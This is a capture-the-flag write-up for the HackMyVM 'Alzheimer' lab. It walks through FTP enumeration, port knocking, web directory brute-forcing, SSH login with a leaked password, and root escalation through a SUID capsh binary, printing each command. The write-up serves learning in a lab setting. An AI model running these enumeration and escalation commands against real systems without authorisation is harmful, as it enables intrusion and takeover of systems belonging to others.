[HMV] Alzheimer
Table of Contents
| Url | 🔗 |
|---|---|
| Level | Easy |
Intro#
Today I am recovering password for medusa. I’ll start with enumerating the FTP server to learn about the hidden ports. Then I will knock them several times to open the other ports, enumerate them to find out the SSH credentials. Ultimately I will escalate privileges using capsh and pwn the target.
Enumeration#
Nmap#
I kickstarted the challenge with Nmap in TCP mode, as usual.
sudo nmap -sCV -vv -oA nmap_tcp target.local
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
} # ...
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:TARGET_IP
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp filtered ssh no-response
80/tcp filtered http no-response
MAC Address: A4:4E:31:0F:68:CC (Intel Corporate)
Service Info: OS: Unix
The target was running an unidentified Unix-based distribution and hosted 3 services.
The open ftp was an obvious service to start with, since the http and ssh were filtered (meaning there was no response from the target and Nmap couldn’t figure out if they were open or closed).
By the way, I ran the UDP scan as well, but I didn’t find anything.
I followed with the FTP footprinting.
FTP#
I logged in as Anonymous to FTP:
ftp target.local
Connected to target.local.
220 (vsFTPd 3.0.3)
Name (target.local:user): Anonymous
331 Please specify the password.
Password: # empty
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Listing the files in FTP didn’t result with anything, but I tried to list hidden files as well:
ftp> ls -a
# ...
drwxr-xr-x 2 0 113 4096 Oct 03 2020 .
drwxr-xr-x 2 0 113 4096 Oct 03 2020 ..
-rw-r--r-- 1 0 0 70 Oct 03 2020 .secretnote.txt
226 Directory send OK.
ftp>
****
The .secretnote.txt was there so I read its contents:
ftp> get .secretnote.txt
cat .secretnote.txt
I need to knock this ports and
one door will be open!
1000
2000
3000
Ihavebeenalwayshere!!!
Interesting! The 1000, 2000 and 3000 ports should be available for scanning, so I followed with that.
nmap -p1000,2000,3000#
I scanned these ambiguous ports only to find out they are closed (they responded with ACK and RST):
sudo nmap -sV -vv target.local -p1000,2000,3000 -oA nmap_ports
PORT STATE SERVICE REASON VERSION
1000/tcp closed cadlock reset ttl 63
2000/tcp closed cisco-sccp reset ttl 63
3000/tcp closed ppp reset ttl 63
I was kinda stuck. I remembered something about ports knocking from some CTF writeups I read previously and got back to the topic.
📖 Lecture time. Ports knocking
To put it simply, Ports knocking is a virtual equivalent of knowing how to knock the doors to your childhood basement clubhouse. If I remember correctly we usually used
. ... .for ours. Sometimes it was. . ... .... ...Oh, you still don’t get it? Let me try again.
Knocking the ports means that you need to send packets to the particular ports in the particular order first to be able to connect to, say, port 22 from your IP. Once you close the connection to that port, the combination resets and you need to do it once again. It’s a primitive method of defending the server against bruteforcing the particular services. Security by obscurity of sorts.
More on the topic here
Now, armed with that knowledge and the knock script I started to knock 1000, 2000 and 3000:
knock target.local 1000 2000 3000 -v
hitting tcp target.local:1000
hitting tcp target.local:2000
hitting tcp target.local:3000
❗ Keep in mind I had to
knockthese ports several times to open bothsshandhttpas I didn’t know the correct ports order. As they were knocked in parallel, after several tries I nailed the correct one and both services wereopen.Given the small number of ports to be knocked, I probably should try all the possible combinations manually.
Anyways, after several tries I had the access to all the ports so I scanned them again.
Nmap #3#
sudo nmap -sCV -oA nmap_tcp_2 -vv target.local
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| # ...
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b1:3b:2b:36:e5:6b:d7:2a:6d:ef:bf:da:0a:5d:2d:43 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs85YDBcxYDtBVawUlW6wndoVx691rVPkDX1AZvqf11RRhMsmwAg/1Du8YK/1ZSEmRXgHTvku0QEKNbRUxmFiD++cLKQEf9G23IjnauIX6oQHcY2mzeSHduiGzDvCNc0m6HhAODMWGbVoA77V63WSJ/bf1gC7JxxObyma0BNgeYbTQQUrMsHAsIr2cJhV19W5KL5Kq46jfYLTbFxnAs+qKC9vXAw6qaxy/1hHtc+iIhUNs5c/olTqWPPJ1gh0v6wthdeKb6BvyodbpMOhLOvZ6TPF3ZVaSmnZCAKxb6h7nbiOGroI65F+Cs0oWulVQYw+Bm7u2eZFLLQeWfMC5xUz5
| 256 35:f1:70:ab:a3:66:f1:d6:d7:2c:f7:d1:24:7a:5f:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNRlZlETQeEZ1ir3SKl9NFhI0TNnA+WtTRef7JwxnvOJ6ZbYjA3YvIMkUUriD9LbRPtEcAkAznKsszdMmmn1QeE=
| 256 be:15:fa:b6:81:d6:7f:ab:c8:1c:97:a5:ea:11:85:4e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARsN37DwrXI1N7ruOs+QzaKlmXNmdVtID5/Qyi2SlvL
80/tcp open http syn-ack ttl 63 nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
| http-methods:
|_ Supported Methods: GET HEAD
MAC Address: A4:4E:31:0F:68:CC (Intel Corporate)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
HTTP#
The index rendered the message from medusa:

I dont remember where I stored my password :( I only remember that was into a .txt file... -medusa
Using gobuster I tried to lookup the other paths.
gobuster dir -u http://target.local -w /usr/share/wordlists/dirb/common.txt -x txt
# ...
/admin (Status: 301) [Size: 185] [--> http://target.local/admin/]
/home (Status: 301) [Size: 185] [--> http://target.local/home/]
/secret (Status: 301) [Size: 185] [--> http://target.local/secret/]
Well, at this point I knew about 3 possible paths to lookup:
/admin#
This one’s Forbidden. Moving on.
/home#
Yet another message from medusa. Moving on.

Maybe my pass is at home! -medusa
/secret#
And yet another message. Surely medusa is proficient in using Notepad.

Maybe my password is in this secret folder?
💡 I wanted to run
gobusterin recursive mode, only to learn that it doesn’t have that option. Butferoxbusterdoes.
I ran feroxbuster in recursive mode and learned about yet another path I could try:
feroxbuster --url http://target.local -x txt --wordlist /usr/share/wordlists/dirb/common.txt
# ...
200 GET 5l 27w 132c http://target.local/
301 GET 7l 12w 185c http://target.local/admin => http://target.local/admin/
301 GET 7l 12w 185c http://target.local/home => http://target.local/home/
301 GET 7l 12w 185c http://target.local/secret => http://target.local/secret/
200 GET 2l 7w 34c http://target.local/home/index.html
301 GET 7l 12w 185c http://target.local/secret/home => http://target.local/secret/home/
200 GET 1l 8w 44c http://target.local/secret/index.html
200 GET 2l 13w 62c http://target.local/secret/home/index.html
/secret/home#
Ultimately I found the last note from medusa:

Im trying a lot. Im sure that i will recover my pass! -medusa
The rabbit hole stops here. Once again I got stuck and got back to the drawing board.
SSH#
Knowing there’s a ssh service running and the medusa’s username I wondered if the password was already presented to me earlier. The only txt file I discovered was .secretnote.txt and it contained the Ihavebeenalwayshere!!! string. Was that actually a password?
I tried it for ssh and boom, here I was connected to the server:
ssh medusa@target.local
medusa@target.local\'s password: Ihavebeenalwayshere!!!
# ...
medusa@alzheimer:~$ # Hello, world!
Alexa, add to my todo list: Text medusa her password.
Obviously I immediately read the user flag. Partial success, I guess?
cat user.txt
<redacted>
Priv Esc#
Now, onto the privilege escalation. I started with looking up the SUID-enabled binaries:
find / -perm -u=s -type f 2>/dev/null; find / -perm -4000 -o- -perm -2000 -o- -perm -6000
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/sbin/capsh
The only thing I didn’t recognise was /usr/sbin/capsh. I looked it up on GTFObins to find out that:
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to […] escalate or maintain privileged access as a SUID backdoor.
And so I did:
/usr/sbin/capsh --gid=0 --uid=0 --
root@alzheimer:~#
Now I am became root, the administrator of worlds.
Pwned#
cd /root && cat root.txt
<redacted>
Pwned.